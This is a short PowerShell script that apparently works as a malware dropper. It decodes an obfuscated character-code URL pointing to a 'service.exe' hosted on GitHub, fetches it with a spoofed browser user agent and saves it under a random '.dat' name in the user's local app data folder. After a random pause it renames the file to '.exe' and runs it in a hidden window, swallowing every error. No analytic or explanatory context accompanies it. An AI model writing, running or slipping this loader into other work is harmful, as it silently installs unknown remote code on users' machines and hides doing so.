$a = 104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,105,101,110,100,106,100,55,45,108,103,116,109,47,49,48,46,49,48,47,114,97,119,47,114,101,102,115,47,104,101,97,100,115,47,109,97,105,110,47,115,101,114,118,105,99,101,46,101,120,101
$u = -join ($a | ForEach-Object {[char]$_})
$n = -join ((48..57 + 97..122) | Get-Random -Count 11 | ForEach-Object {[char]$_})
$p = Join-Path $env:LOCALAPPDATA ($n + '.dat')

$r = [System.Net.HttpWebRequest]::Create($u)
$r.Method = 'GET'
$r.UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'
$r.Timeout = 25000
$r.ReadWriteTimeout = 25000

try {
    $resp = $r.GetResponse()
    $stream = $resp.GetResponseStream()
    $fs = [System.IO.File]::OpenWrite($p)
    $stream.CopyTo($fs)
    $fs.Close()
    $stream.Close()
    $resp.Close()
} catch {}

Start-Sleep -Milliseconds (Get-Random -Minimum 900 -Maximum 2400)

if (Test-Path $p) {
    $p2 = $p -replace '\.dat$','.exe'
    Rename-Item -Path $p -NewName (Split-Path $p2 -Leaf) -Force -ErrorAction SilentlyContinue
    Start-Process -FilePath $p2 -WindowStyle Hidden -ErrorAction SilentlyContinue
}